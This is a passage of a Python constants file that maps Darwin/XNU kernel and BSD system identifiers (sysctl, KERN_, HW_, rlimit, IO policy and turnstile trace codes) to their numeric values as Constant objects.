Constant('IMP_TASK_POLICY_PIDBIND_BG',0x32)\nIMP_TASK_POLICY_QOS_OVERRIDE = Constant('IMP_TASK_POLICY_QOS_OVERRIDE',0x36)\nIMP_TASK_POLICY_QOS_AND_RELPRIO = Constant('IMP_TASK_POLICY_QOS_AND_RELPRIO',0x38)\nIMP_TASK_POLICY_QOS_WORKQ_OVERRIDE = Constant('IMP_TASK_POLICY_QOS_WORKQ_OVERRIDE',0x3B)\nIMP_TASK_POLICY_QOS_PROMOTE = Constant('IMP_TASK_POLICY_QOS_PROMOTE',0x3C)\nIMP_TASK_POLICY_QOS_KEVENT_OVERRIDE = Constant('IMP_TASK_POLICY_QOS_KEVENT_OVERRIDE',0x3D)\nIMP_TASK_POLICY_QOS_SERVICER_OVERRIDE = Constant('IMP_TASK_POLICY_QOS_SERVICER_OVERRIDE',0x3E)\nIMP_TASK_POLICY_IOTIER_KEVENT_OVERRIDE = Constant('IMP_TASK_POLICY_IOTIER_KEVENT_OVERRIDE',0x3F)\nIMP_TASK_POLICY_WI_DRIVEN = Constant('IMP_TASK_POLICY_WI_DRIVEN',0x40)\nIMP_HOLD = Constant('IMP_HOLD',0x2)\nIMP_DROP = Constant('IMP_DROP',0x4)\nIMP_EXTERN = Constant('IMP_EXTERN',0x8)\nIMP_BOOSTED = Constant('IMP_BOOSTED',0x1)\nIMP_UNBOOSTED = Constant('IMP_UNBOOSTED',0x2)\nIMP_MSG_SEND = Constant('IMP_MSG_SEND',0x1)\nIMP_MSG_DELV = Constant('IMP_MSG_DELV',0x2)\nIMP_UPDATE_TASK_CREATE = Constant('IMP_UPDATE_TASK_CREATE',0x1)\nIMP_USYNCH_ADD_OVERRIDE = Constant('IMP_USYNCH_ADD_OVERRIDE',0x0)\nIMP_USYNCH_REMOVE_OVERRIDE = Constant('IMP_USYNCH_REMOVE_OVERRIDE',0x1)\nIMP_DONOR_UPDATE_LIVE_DONOR_STATE = Constant('IMP_DONOR_UPDATE_LIVE_DONOR_STATE',0x0)\nIMP_DONOR_INIT_DONOR_STATE = Constant('IMP_DONOR_INIT_DONOR_STATE',0x1)\nIMP_SYNC_IPC_QOS_APPLIED = Constant('IMP_SYNC_IPC_QOS_APPLIED',0x0)\nIMP_SYNC_IPC_QOS_REMOVED = Constant('IMP_SYNC_IPC_QOS_REMOVED',0x1)\nIMP_SYNC_IPC_QOS_OVERFLOW = Constant('IMP_SYNC_IPC_QOS_OVERFLOW',0x2)\nIMP_SYNC_IPC_QOS_UNDERFLOW = Constant('IMP_SYNC_IPC_QOS_UNDERFLOW',0x3)\nTURNSTILE_HEAP_OPERATIONS = Constant('TURNSTILE_HEAP_OPERATIONS',0x10)\nTURNSTILE_PRIORITY_OPERATIONS = Constant('TURNSTILE_PRIORITY_OPERATIONS',0x20)\nTURNSTILE_FREELIST_OPERATIONS = Constant('TURNSTILE_FREELIST_OPERATIONS',0x30)\nTHREAD_ADDED_TO_TURNSTILE_WAITQ = Constant('THREAD_ADDED_TO_TURNSTILE_WAITQ',0x1)\nTHREAD_REMOVED_FROM_TURNSTILE_WAITQ = Constant('THREAD_REMOVED_FROM_TURNSTILE_WAITQ',0x2)\nTHREAD_MOVED_IN_TURNSTILE_WAITQ = Constant('THREAD_MOVED_IN_TURNSTILE_WAITQ',0x3)\nTURNSTILE_ADDED_TO_TURNSTILE_HEAP = Constant('TURNSTILE_ADDED_TO_TURNSTILE_HEAP',0x4)\nTURNSTILE_REMOVED_FROM_TURNSTILE_HEAP = Constant('TURNSTILE_REMOVED_FROM_TURNSTILE_HEAP',0x5)\nTURNSTILE_MOVED_IN_TURNSTILE_HEAP = Constant('TURNSTILE_MOVED_IN_TURNSTILE_HEAP',0x6)\nTURNSTILE_ADDED_TO_THREAD_HEAP = Constant('TURNSTILE_ADDED_TO_THREAD_HEAP',0x7)\nTURNSTILE_REMOVED_FROM_THREAD_HEAP = Constant('TURNSTILE_REMOVED_FROM_THREAD_HEAP',0x8)\nTURNSTILE_MOVED_IN_THREAD_HEAP = Constant('TURNSTILE_MOVED_IN_THREAD_HEAP',0x9)\nTURNSTILE_UPDATE_STOPPED_BY_LIMIT = Constant('TURNSTILE_UPDATE_STOPPED_BY_LIMIT',0xa)\nTHREAD_NOT_WAITING_ON_TURNSTILE = Constant('THREAD_NOT_WAITING_ON_TURNSTILE',0xb)\nTURNSTILE_PRIORITY_CHANGE = Constant('TURNSTILE_PRIORITY_CHANGE',0x1)\nTHREAD_USER_PROMOTION_CHANGE = Constant('THREAD_USER_PROMOTION_CHANGE',0x2)\nTURNSTILE_PREPARE = Constant('TURNSTILE_PREPARE',0x1)\nTURNSTILE_COMPLETE = Constant('TURNSTILE_COMPLETE',0x2)\nBANK_ACCOUNT_INFO = Constant('BANK_ACCOUNT_INFO',0x10)\nBANK_TASK_INFO = Constant('BANK_TASK_INFO',0x11)\nATM_SUBAID_INFO = Constant('ATM_SUBAID_INFO',0x10)\nATM_GETVALUE_INFO = Constant('ATM_GETVALUE_INFO',0x20)\nATM_UNREGISTER_INFO = Constant('ATM_UNREGISTER_INFO',0x30)\nBANK_SETTLE_CPU_TIME = Constant('BANK_SETTLE_CPU_TIME',0x1)\nBANK_SECURE_ORIGINATOR_CHANGED = Constant('BANK_SECURE_ORIGINATOR_CHANGED',0x2)\nBANK_SETTLE_ENERGY = Constant('BANK_SETTLE_ENERGY',0x3)\nATM_MIN_CALLED = Constant('ATM_MIN_CALLED',0x1)\nATM_LINK_LIST_TRIM = Constant('ATM_LINK_LIST_TRIM',0x2)\nATM_VALUE_REPLACED = Constant('ATM_VALUE_REPLACED',0x1)\nATM_VALUE_ADDED = Constant('ATM_VALUE_ADDED',0x2)\nATM_VALUE_UNREGISTERED = Constant('ATM_VALUE_UNREGISTERED',0x1)\nATM_VALUE_DIFF_MAILBOX = Constant('ATM_VALUE_DIFF_MAILBOX',0x2)\nDBG_DAEMON_COREDUET = Constant('DBG_DAEMON_COREDUET',0x1)\nDBG_DAEMON_POWERD = Constant('DBG_DAEMON_POWERD',0x2)\nDBG_UMALLOC_EXTERNAL = Constant('DBG_UMALLOC_EXTERNAL',0x1)\nDBG_UMALLOC_INTERNAL = Constant('DBG_UMALLOC_INTERNAL',0x2)\nBSD = Constant('BSD',199506)\nBSD4_3 = Constant('BSD4_3',1)\nBSD4_4 = Constant('BSD4_4',1)\nNeXTBSD = Constant('NeXTBSD',1995064)\nNeXTBSD4_0 = Constant('NeXTBSD4_0',0)\nMAXCOMLEN = Constant('MAXCOMLEN',16)\nMAXINTERP = Constant('MAXINTERP',64)\nMAXLOGNAME = Constant('MAXLOGNAME',255)\nNOFILE = Constant('NOFILE',256)\nNOGROUP = Constant('NOGROUP',65535)\nMAXHOSTNAMELEN = Constant('MAXHOSTNAMELEN',256)\nMAXDOMNAMELEN = Constant('MAXDOMNAMELEN',256)\nPSWP = Constant('PSWP',0)\nPVM = Constant('PVM',4)\nPINOD = Constant('PINOD',8)\nPRIBIO = Constant('PRIBIO',16)\nPVFS = Constant('PVFS',20)\nPZERO = Constant('PZERO',22)\nPSOCK = Constant('PSOCK',24)\nPWAIT = Constant('PWAIT',32)\nPLOCK = Constant('PLOCK',36)\nPPAUSE = Constant('PPAUSE',40)\nPUSER = Constant('PUSER',50)\nMAXPRI = Constant('MAXPRI',127)\nPRIMASK = Constant('PRIMASK',0x0ff)\nPCATCH = Constant('PCATCH',0x100)\nPTTYBLOCK = Constant('PTTYBLOCK',0x200)\nPDROP = Constant('PDROP',0x400)\nPSPIN = Constant('PSPIN',0x800)\nCMASK = Constant('CMASK',0o022)\nCBLOCK = Constant('CBLOCK',64)\nMAXFRAG = Constant('MAXFRAG',8)\nMAXSYMLINKS = Constant('MAXSYMLINKS',32)\nFSHIFT = Constant('FSHIFT',11)\nLF_NOT_BOOSTED = Constant('LF_NOT_BOOSTED',0)\nLF_BOOSTED = Constant('LF_BOOSTED',1)\nPSHMNAMLEN = Constant('PSHMNAMLEN',31)\nSHM_RDONLY = Constant('SHM_RDONLY',0o010000)\nSHM_RND = Constant('SHM_RND',0o020000)\nSHMLBA = Constant('SHMLBA',4096)\nTIOCM_LE = Constant('TIOCM_LE',0o0001)\nTIOCM_DTR = Constant('TIOCM_DTR',0o0002)\nTIOCM_RTS = Constant('TIOCM_RTS',0o0004)\nTIOCM_ST = Constant('TIOCM_ST',0o0010)\nTIOCM_SR = Constant('TIOCM_SR',0o0020)\nTIOCM_CTS = Constant('TIOCM_CTS',0o0040)\nTIOCM_CAR = Constant('TIOCM_CAR',0o0100)\nTIOCM_RNG = Constant('TIOCM_RNG',0o0200)\nTIOCM_DSR = Constant('TIOCM_DSR',0o0400)\nTIOCPKT_DATA = Constant('TIOCPKT_DATA',0x00)\nTIOCPKT_FLUSHREAD = Constant('TIOCPKT_FLUSHREAD',0x01)\nTIOCPKT_FLUSHWRITE = Constant('TIOCPKT_FLUSHWRITE',0x02)\nTIOCPKT_STOP = Constant('TIOCPKT_STOP',0x04)\nTIOCPKT_START = Constant('TIOCPKT_START',0x08)\nTIOCPKT_NOSTOP = Constant('TIOCPKT_NOSTOP',0x10)\nTIOCPKT_DOSTOP = Constant('TIOCPKT_DOSTOP',0x20)\nTIOCPKT_IOCTL = Constant('TIOCPKT_IOCTL',0x40)\nTTYDISC = Constant('TTYDISC',0)\nTABLDISC = Constant('TABLDISC',3)\nSLIPDISC = Constant('SLIPDISC',4)\nPPPDISC = Constant('PPPDISC',5)\nCTL_MAXNAME = Constant('CTL_MAXNAME',12)\nCTLTYPE = Constant('CTLTYPE',0xf)\nCTLTYPE_NODE = Constant('CTLTYPE_NODE',1)\nCTLTYPE_INT = Constant('CTLTYPE_INT',2)\nCTLTYPE_STRING = Constant('CTLTYPE_STRING',3)\nCTLTYPE_QUAD = Constant('CTLTYPE_QUAD',4)\nCTLTYPE_OPAQUE = Constant('CTLTYPE_OPAQUE',5)\nCTLFLAG_RD = Constant('CTLFLAG_RD',0x80000000)\nCTLFLAG_WR = Constant('CTLFLAG_WR',0x40000000)\nCTLFLAG_NOLOCK = Constant('CTLFLAG_NOLOCK',0x20000000)\nCTLFLAG_ANYBODY = Constant('CTLFLAG_ANYBODY',0x10000000)\nCTLFLAG_SECURE = Constant('CTLFLAG_SECURE',0x08000000)\nCTLFLAG_MASKED = Constant('CTLFLAG_MASKED',0x04000000)\nCTLFLAG_NOAUTO = Constant('CTLFLAG_NOAUTO',0x02000000)\nCTLFLAG_KERN = Constant('CTLFLAG_KERN',0x01000000)\nCTLFLAG_LOCKED = Constant('CTLFLAG_LOCKED',0x00800000)\nCTLFLAG_OID2 = Constant('CTLFLAG_OID2',0x00400000)\nCTLFLAG_EXPERIMENT = Constant('CTLFLAG_EXPERIMENT',0x00100000)\nOID_AUTO_START = Constant('OID_AUTO_START',100)\nSYSCTL_OID_VERSION = Constant('SYSCTL_OID_VERSION',1)\nSYSCTL_SKMEM = Constant('SYSCTL_SKMEM',1)\nCTL_UNSPEC = Constant('CTL_UNSPEC',0)\nCTL_KERN = Constant('CTL_KERN',1)\nCTL_VM = Constant('CTL_VM',2)\nCTL_VFS = Constant('CTL_VFS',3)\nCTL_NET = Constant('CTL_NET',4)\nCTL_DEBUG = Constant('CTL_DEBUG',5)\nCTL_HW = Constant('CTL_HW',6)\nCTL_MACHDEP = Constant('CTL_MACHDEP',7)\nCTL_USER = Constant('CTL_USER',8)\nCTL_MAXID = Constant('CTL_MAXID',9)\nKERN_OSTYPE = Constant('KERN_OSTYPE',1)\nKERN_OSRELEASE = Constant('KERN_OSRELEASE',2)\nKERN_OSREV = Constant('KERN_OSREV',3)\nKERN_VERSION = Constant('KERN_VERSION',4)\nKERN_MAXVNODES = Constant('KERN_MAXVNODES',5)\nKERN_MAXPROC = Constant('KERN_MAXPROC',6)\nKERN_MAXFILES = Constant('KERN_MAXFILES',7)\nKERN_ARGMAX = Constant('KERN_ARGMAX',8)\nKERN_SECURELVL = Constant('KERN_SECURELVL',9)\nKERN_HOSTNAME = Constant('KERN_HOSTNAME',10)\nKERN_HOSTID = Constant('KERN_HOSTID',11)\nKERN_CLOCKRATE = Constant('KERN_CLOCKRATE',12)\nKERN_VNODE = Constant('KERN_VNODE',13)\nKERN_PROC = Constant('KERN_PROC',14)\nKERN_FILE = Constant('KERN_FILE',15)\nKERN_PROF = Constant('KERN_PROF',16)\nKERN_POSIX1 = Constant('KERN_POSIX1',17)\nKERN_NGROUPS = Constant('KERN_NGROUPS',18)\nKERN_JOB_CONTROL = Constant('KERN_JOB_CONTROL',19)\nKERN_SAVED_IDS = Constant('KERN_SAVED_IDS',20)\nKERN_BOOTTIME = Constant('KERN_BOOTTIME',21)\nKERN_NISDOMAINNAME = Constant('KERN_NISDOMAINNAME',22)\nKERN_MAXPARTITIONS = Constant('KERN_MAXPARTITIONS',23)\nKERN_KDEBUG = Constant('KERN_KDEBUG',24)\nKERN_UPDATEINTERVAL = Constant('KERN_UPDATEINTERVAL',25)\nKERN_OSRELDATE = Constant('KERN_OSRELDATE',26)\nKERN_NTP_PLL = Constant('KERN_NTP_PLL',27)\nKERN_BOOTFILE = Constant('KERN_BOOTFILE',28)\nKERN_MAXFILESPERPROC = Constant('KERN_MAXFILESPERPROC',29)\nKERN_MAXPROCPERUID = Constant('KERN_MAXPROCPERUID',30)\nKERN_DUMPDEV = Constant('KERN_DUMPDEV',31)\nKERN_IPC = Constant('KERN_IPC',32)\nKERN_DUMMY = Constant('KERN_DUMMY',33)\nKERN_PS_STRINGS = Constant('KERN_PS_STRINGS',34)\nKERN_USRSTACK32 = Constant('KERN_USRSTACK32',35)\nKERN_LOGSIGEXIT = Constant('KERN_LOGSIGEXIT',36)\nKERN_SYMFILE = Constant('KERN_SYMFILE',37)\nKERN_PROCARGS = Constant('KERN_PROCARGS',38)\nKERN_NETBOOT = Constant('KERN_NETBOOT',40)\nKERN_SYSV = Constant('KERN_SYSV',42)\nKERN_AFFINITY = Constant('KERN_AFFINITY',43)\nKERN_TRANSLATE = Constant('KERN_TRANSLATE',44)\nKERN_EXEC = Constant('KERN_EXEC',45)\nKERN_AIOMAX = Constant('KERN_AIOMAX',46)\nKERN_AIOPROCMAX = Constant('KERN_AIOPROCMAX',47)\nKERN_AIOTHREADS = Constant('KERN_AIOTHREADS',48)\nKERN_PROCARGS2 = Constant('KERN_PROCARGS2',49)\nKERN_COREFILE = Constant('KERN_COREFILE',50)\nKERN_COREDUMP = Constant('KERN_COREDUMP',51)\nKERN_SUGID_COREDUMP = Constant('KERN_SUGID_COREDUMP',52)\nKERN_PROCDELAYTERM = Constant('KERN_PROCDELAYTERM',53)\nKERN_SHREG_PRIVATIZABLE = Constant('KERN_SHREG_PRIVATIZABLE',54)\nKERN_LOW_PRI_WINDOW = Constant('KERN_LOW_PRI_WINDOW',56)\nKERN_LOW_PRI_DELAY = Constant('KERN_LOW_PRI_DELAY',57)\nKERN_POSIX = Constant('KERN_POSIX',58)\nKERN_USRSTACK64 = Constant('KERN_USRSTACK64',59)\nKERN_NX_PROTECTION = Constant('KERN_NX_PROTECTION',60)\nKERN_TFP = Constant('KERN_TFP',61)\nKERN_PROCNAME = Constant('KERN_PROCNAME',62)\nKERN_THALTSTACK = Constant('KERN_THALTSTACK',63)\nKERN_SPECULATIVE_READS = Constant('KERN_SPECULATIVE_READS',64)\nKERN_OSVERSION = Constant('KERN_OSVERSION',65)\nKERN_SAFEBOOT = Constant('KERN_SAFEBOOT',66)\nKERN_RAGEVNODE = Constant('KERN_RAGEVNODE',68)\nKERN_TTY = Constant('KERN_TTY',69)\nKERN_CHECKOPENEVT = Constant('KERN_CHECKOPENEVT',70)\nKERN_THREADNAME = Constant('KERN_THREADNAME',71)\nKERN_MAXID = Constant('KERN_MAXID',72)\nKERN_RAGE_PROC = Constant('KERN_RAGE_PROC',1)\nKERN_RAGE_THREAD = Constant('KERN_RAGE_THREAD',2)\nKERN_UNRAGE_PROC = Constant('KERN_UNRAGE_PROC',3)\nKERN_UNRAGE_THREAD = Constant('KERN_UNRAGE_THREAD',4)\nKERN_OPENEVT_PROC = Constant('KERN_OPENEVT_PROC',1)\nKERN_UNOPENEVT_PROC = Constant('KERN_UNOPENEVT_PROC',2)\nKERN_TFP_POLICY = Constant('KERN_TFP_POLICY',1)\nKERN_TFP_POLICY_DENY = Constant('KERN_TFP_POLICY_DENY',0)\nKERN_TFP_POLICY_DEFAULT = Constant('KERN_TFP_POLICY_DEFAULT',2)\nKERN_KDEFLAGS = Constant('KERN_KDEFLAGS',1)\nKERN_KDDFLAGS = Constant('KERN_KDDFLAGS',2)\nKERN_KDENABLE = Constant('KERN_KDENABLE',3)\nKERN_KDSETBUF = Constant('KERN_KDSETBUF',4)\nKERN_KDGETBUF = Constant('KERN_KDGETBUF',5)\nKERN_KDSETUP = Constant('KERN_KDSETUP',6)\nKERN_KDREMOVE = Constant('KERN_KDREMOVE',7)\nKERN_KDSETREG = Constant('KERN_KDSETREG',8)\nKERN_KDGETREG = Constant('KERN_KDGETREG',9)\nKERN_KDREADTR = Constant('KERN_KDREADTR',10)\nKERN_KDPIDTR = Constant('KERN_KDPIDTR',11)\nKERN_KDTHRMAP = Constant('KERN_KDTHRMAP',12)\nKERN_KDPIDEX = Constant('KERN_KDPIDEX',14)\nKERN_KDSETRTCDEC = Constant('KERN_KDSETRTCDEC',15)\nKERN_KDGETENTROPY = Constant('KERN_KDGETENTROPY',16)\nKERN_KDWRITETR = Constant('KERN_KDWRITETR',17)\nKERN_KDWRITEMAP = Constant('KERN_KDWRITEMAP',18)\nKERN_KDTEST = Constant('KERN_KDTEST',19)\nKERN_KDREADCURTHRMAP = Constant('KERN_KDREADCURTHRMAP',21)\nKERN_KDSET_TYPEFILTER = Constant('KERN_KDSET_TYPEFILTER',22)\nKERN_KDBUFWAIT = Constant('KERN_KDBUFWAIT',23)\nKERN_KDCPUMAP = Constant('KERN_KDCPUMAP',24)\nKERN_KDCPUMAP_EXT = Constant('KERN_KDCPUMAP_EXT',25)\nKERN_KDSET_EDM = Constant('KERN_KDSET_EDM',26)\nKERN_KDGET_EDM = Constant('KERN_KDGET_EDM',27)\nKERN_KDWRITETR_V3 = Constant('KERN_KDWRITETR_V3',28)\nKERN_PROC_ALL = Constant('KERN_PROC_ALL',0)\nKERN_PROC_PID = Constant('KERN_PROC_PID',1)\nKERN_PROC_PGRP = Constant('KERN_PROC_PGRP',2)\nKERN_PROC_SESSION = Constant('KERN_PROC_SESSION',3)\nKERN_PROC_TTY = Constant('KERN_PROC_TTY',4)\nKERN_PROC_UID = Constant('KERN_PROC_UID',5)\nKERN_PROC_RUID = Constant('KERN_PROC_RUID',6)\nKERN_PROC_LCID = Constant('KERN_PROC_LCID',7)\nKERN_VFSNSPACE_HANDLE_PROC = Constant('KERN_VFSNSPACE_HANDLE_PROC',1)\nKERN_VFSNSPACE_UNHANDLE_PROC = Constant('KERN_VFSNSPACE_UNHANDLE_PROC',2)\nKIPC_MAXSOCKBUF = Constant('KIPC_MAXSOCKBUF',1)\nKIPC_SOCKBUF_WASTE = Constant('KIPC_SOCKBUF_WASTE',2)\nKIPC_SOMAXCONN = Constant('KIPC_SOMAXCONN',3)\nKIPC_MAX_LINKHDR = Constant('KIPC_MAX_LINKHDR',4)\nKIPC_MAX_PROTOHDR = Constant('KIPC_MAX_PROTOHDR',5)\nKIPC_MAX_HDR = Constant('KIPC_MAX_HDR',6)\nKIPC_MAX_DATALEN = Constant('KIPC_MAX_DATALEN',7)\nKIPC_MBSTAT = Constant('KIPC_MBSTAT',8)\nKIPC_NMBCLUSTERS = Constant('KIPC_NMBCLUSTERS',9)\nKIPC_SOQLIMITCOMPAT = Constant('KIPC_SOQLIMITCOMPAT',10)\nVM_METER = Constant('VM_METER',1)\nVM_LOADAVG = Constant('VM_LOADAVG',2)\nVM_MACHFACTOR = Constant('VM_MACHFACTOR',4)\nVM_SWAPUSAGE = Constant('VM_SWAPUSAGE',5)\nVM_MAXID = Constant('VM_MAXID',6)\nLSCALE = Constant('LSCALE',1000)\nHW_MACHINE = Constant('HW_MACHINE',1)\nHW_MODEL = Constant('HW_MODEL',2)\nHW_NCPU = Constant('HW_NCPU',3)\nHW_BYTEORDER = Constant('HW_BYTEORDER',4)\nHW_PHYSMEM = Constant('HW_PHYSMEM',5)\nHW_USERMEM = Constant('HW_USERMEM',6)\nHW_PAGESIZE = Constant('HW_PAGESIZE',7)\nHW_DISKNAMES = Constant('HW_DISKNAMES',8)\nHW_DISKSTATS = Constant('HW_DISKSTATS',9)\nHW_EPOCH = Constant('HW_EPOCH',10)\nHW_FLOATINGPT = Constant('HW_FLOATINGPT',11)\nHW_MACHINE_ARCH = Constant('HW_MACHINE_ARCH',12)\nHW_VECTORUNIT = Constant('HW_VECTORUNIT',13)\nHW_BUS_FREQ = Constant('HW_BUS_FREQ',14)\nHW_CPU_FREQ = Constant('HW_CPU_FREQ',15)\nHW_CACHELINE = Constant('HW_CACHELINE',16)\nHW_L1ICACHESIZE = Constant('HW_L1ICACHESIZE',17)\nHW_L1DCACHESIZE = Constant('HW_L1DCACHESIZE',18)\nHW_L2SETTINGS = Constant('HW_L2SETTINGS',19)\nHW_L2CACHESIZE = Constant('HW_L2CACHESIZE',20)\nHW_L3SETTINGS = Constant('HW_L3SETTINGS',21)\nHW_L3CACHESIZE = Constant('HW_L3CACHESIZE',22)\nHW_TB_FREQ = Constant('HW_TB_FREQ',23)\nHW_MEMSIZE = Constant('HW_MEMSIZE',24)\nHW_AVAILCPU = Constant('HW_AVAILCPU',25)\nHW_TARGET = Constant('HW_TARGET',26)\nHW_PRODUCT = Constant('HW_PRODUCT',27)\nHW_MAXID = Constant('HW_MAXID',28)\nUSER_CS_PATH = Constant('USER_CS_PATH',1)\nUSER_BC_BASE_MAX = Constant('USER_BC_BASE_MAX',2)\nUSER_BC_DIM_MAX = Constant('USER_BC_DIM_MAX',3)\nUSER_BC_SCALE_MAX = Constant('USER_BC_SCALE_MAX',4)\nUSER_BC_STRING_MAX = Constant('USER_BC_STRING_MAX',5)\nUSER_COLL_WEIGHTS_MAX = Constant('USER_COLL_WEIGHTS_MAX',6)\nUSER_EXPR_NEST_MAX = Constant('USER_EXPR_NEST_MAX',7)\nUSER_LINE_MAX = Constant('USER_LINE_MAX',8)\nUSER_RE_DUP_MAX = Constant('USER_RE_DUP_MAX',9)\nUSER_POSIX2_VERSION = Constant('USER_POSIX2_VERSION',10)\nUSER_POSIX2_C_BIND = Constant('USER_POSIX2_C_BIND',11)\nUSER_POSIX2_C_DEV = Constant('USER_POSIX2_C_DEV',12)\nUSER_POSIX2_CHAR_TERM = Constant('USER_POSIX2_CHAR_TERM',13)\nUSER_POSIX2_FORT_DEV = Constant('USER_POSIX2_FORT_DEV',14)\nUSER_POSIX2_FORT_RUN = Constant('USER_POSIX2_FORT_RUN',15)\nUSER_POSIX2_LOCALEDEF = Constant('USER_POSIX2_LOCALEDEF',16)\nUSER_POSIX2_SW_DEV = Constant('USER_POSIX2_SW_DEV',17)\nUSER_POSIX2_UPE = Constant('USER_POSIX2_UPE',18)\nUSER_STREAM_MAX = Constant('USER_STREAM_MAX',19)\nUSER_TZNAME_MAX = Constant('USER_TZNAME_MAX',20)\nUSER_MAXID = Constant('USER_MAXID',21)\nCTL_DEBUG_NAME = Constant('CTL_DEBUG_NAME',0)\nCTL_DEBUG_VALUE = Constant('CTL_DEBUG_VALUE',1)\nCTL_DEBUG_MAXID = Constant('CTL_DEBUG_MAXID',20)\nUTF_REVERSE_ENDIAN = Constant('UTF_REVERSE_ENDIAN',0x0001)\nUTF_NO_NULL_TERM = Constant('UTF_NO_NULL_TERM',0x0002)\nUTF_DECOMPOSED = Constant('UTF_DECOMPOSED',0x0004)\nUTF_PRECOMPOSED = Constant('UTF_PRECOMPOSED',0x0008)\nUTF_ESCAPE_ILLEGAL = Constant('UTF_ESCAPE_ILLEGAL',0x0010)\nUTF_SFM_CONVERSIONS = Constant('UTF_SFM_CONVERSIONS',0x0020)\nPRIO_PROCESS = Constant('PRIO_PROCESS',0)\nPRIO_PGRP = Constant('PRIO_PGRP',1)\nPRIO_USER = Constant('PRIO_USER',2)\nPRIO_DARWIN_THREAD = Constant('PRIO_DARWIN_THREAD',3)\nPRIO_DARWIN_PROCESS = Constant('PRIO_DARWIN_PROCESS',4)\nPRIO_MAX = Constant('PRIO_MAX',20)\nPRIO_DARWIN_BG = Constant('PRIO_DARWIN_BG',0x1000)\nPRIO_DARWIN_NONUI = Constant('PRIO_DARWIN_NONUI',0x1001)\nRUSAGE_SELF = Constant('RUSAGE_SELF',0)\nRUSAGE_INFO_V0 = Constant('RUSAGE_INFO_V0',0)\nRUSAGE_INFO_V1 = Constant('RUSAGE_INFO_V1',1)\nRUSAGE_INFO_V2 = Constant('RUSAGE_INFO_V2',2)\nRUSAGE_INFO_V3 = Constant('RUSAGE_INFO_V3',3)\nRUSAGE_INFO_V4 = Constant('RUSAGE_INFO_V4',4)\nRUSAGE_INFO_V5 = Constant('RUSAGE_INFO_V5',5)\nRUSAGE_INFO_V6 = Constant('RUSAGE_INFO_V6',6)\nRU_PROC_RUNS_RESLIDE = Constant('RU_PROC_RUNS_RESLIDE',0x00000001)\nRLIMIT_CPU = Constant('RLIMIT_CPU',0)\nRLIMIT_FSIZE = Constant('RLIMIT_FSIZE',1)\nRLIMIT_DATA = Constant('RLIMIT_DATA',2)\nRLIMIT_STACK = Constant('RLIMIT_STACK',3)\nRLIMIT_CORE = Constant('RLIMIT_CORE',4)\nRLIMIT_AS = Constant('RLIMIT_AS',5)\nRLIMIT_MEMLOCK = Constant('RLIMIT_MEMLOCK',6)\nRLIMIT_NPROC = Constant('RLIMIT_NPROC',7)\nRLIMIT_NOFILE = Constant('RLIMIT_NOFILE',8)\nRLIM_NLIMITS = Constant('RLIM_NLIMITS',9)\n_RLIMIT_POSIX_FLAG = Constant('_RLIMIT_POSIX_FLAG',0x1000)\nRLIMIT_WAKEUPS_MONITOR = Constant('RLIMIT_WAKEUPS_MONITOR',0x1)\nRLIMIT_CPU_USAGE_MONITOR = Constant('RLIMIT_CPU_USAGE_MONITOR',0x2)\nRLIMIT_THREAD_CPULIMITS = Constant('RLIMIT_THREAD_CPULIMITS',0x3)\nRLIMIT_FOOTPRINT_INTERVAL = Constant('RLIMIT_FOOTPRINT_INTERVAL',0x4)\nWAKEMON_ENABLE = Constant('WAKEMON_ENABLE',0x01)\nWAKEMON_DISABLE = Constant('WAKEMON_DISABLE',0x02)\nWAKEMON_GET_PARAMS = Constant('WAKEMON_GET_PARAMS',0x04)\nWAKEMON_SET_DEFAULTS = Constant('WAKEMON_SET_DEFAULTS',0x08)\nWAKEMON_MAKE_FATAL = Constant('WAKEMON_MAKE_FATAL',0x10)\nCPUMON_MAKE_FATAL = Constant('CPUMON_MAKE_FATAL',0x1000)\nFOOTPRINT_INTERVAL_RESET = Constant('FOOTPRINT_INTERVAL_RESET',0x1)\nIOPOL_TYPE_DISK = Constant('IOPOL_TYPE_DISK',0)\nIOPOL_TYPE_VFS_ATIME_UPDATES = Constant('IOPOL_TYPE_VFS_ATIME_UPDATES',2)\nIOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES = Constant('IOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES',3)\nIOPOL_TYPE_VFS_STATFS_NO_DATA_VOLUME = Constant('IOPOL_TYPE_VFS_STATFS_NO_DATA_VOLUME',4)\nIOPOL_TYPE_VFS_TRIGGER_RESOLVE = Constant('IOPOL_TYPE_VFS_TRIGGER_RESOLVE',5)\nIOPOL_TYPE_VFS_IGNORE_CONTENT_PROTECTION = Constant('IOPOL_TYPE_VFS_IGNORE_CONTENT_PROTECTION',6)\nIOPOL_TYPE_VFS_IGNORE_PERMISSIONS = Constant('IOPOL_TYPE_VFS_IGNORE_PERMISSIONS',7)\nIOPOL_TYPE_VFS_SKIP_MTIME_UPDATE = Constant('IOPOL_TYPE_VFS_SKIP_MTIME_UPDATE',8)\nIOPOL_TYPE_VFS_ALLOW_LOW_SPACE_WRITES = Constant('IOPOL_TYPE_VFS_ALLOW_LOW_SPACE_WRITES',9)\nIOPOL_TYPE_VFS_DISALLOW_RW_FOR_O_EVTONLY = Constant('IOPOL_TYPE_VFS_DISALLOW_RW_FOR_O_EVTONLY',10)\nIOPOL_SCOPE_PROCESS = Constant('IOPOL_SCOPE_PROCESS',0)\nIOPOL_SCOPE_THREAD = Constant('IOPOL_SCOPE_THREAD',1)\nIOPOL_SCOPE_DARWIN_BG = Constant('IOPOL_SCOPE_DARWIN_BG',2)\nIOPOL_DEFAULT = Constant('IOPOL_DEFAULT',0)\nIOPOL_IMPORTANT = Constant('IOPOL_IMPORTANT',1)\nIOPOL_PASSIVE = Constant('IOPOL_PASSIVE',2)\nIOPOL_THROTTLE = Constant('IOPOL_THROTTLE',3)\nIOPOL_UTILITY = Constant('IOPOL_UTILITY',4)\nIOPOL_STANDARD = Constant('IOPOL_STANDARD',5)\nIOPOL_ATIME_UPDATES_DEFAULT = Constant('IOPOL_ATIME_UPDATES_DEFAULT',0)\nIOPOL_ATIME_UPDATES_OFF = Constant('IOPOL_ATIME_UPDATES_OFF',1)\nIOPOL_MATERIALIZE_DATALESS_FILES_DEFAULT = Constant('IOPOL_MATERIALIZE_DATALESS_FILES_DEFAULT',0)\nIOPOL_MATERIALIZE_DATALESS_FILES_OFF = Constant('IOPOL_MATERIALIZE_DATALESS_FILES_OFF',1)\nIOPOL_MATERIALIZE_DATALESS_FILES_ON = Constant('IOPOL_MATERIALIZE_DATALESS_FILES_ON',2)\nIOPOL_VFS_STATFS_NO_DATA_VOLUME_DEFAULT = 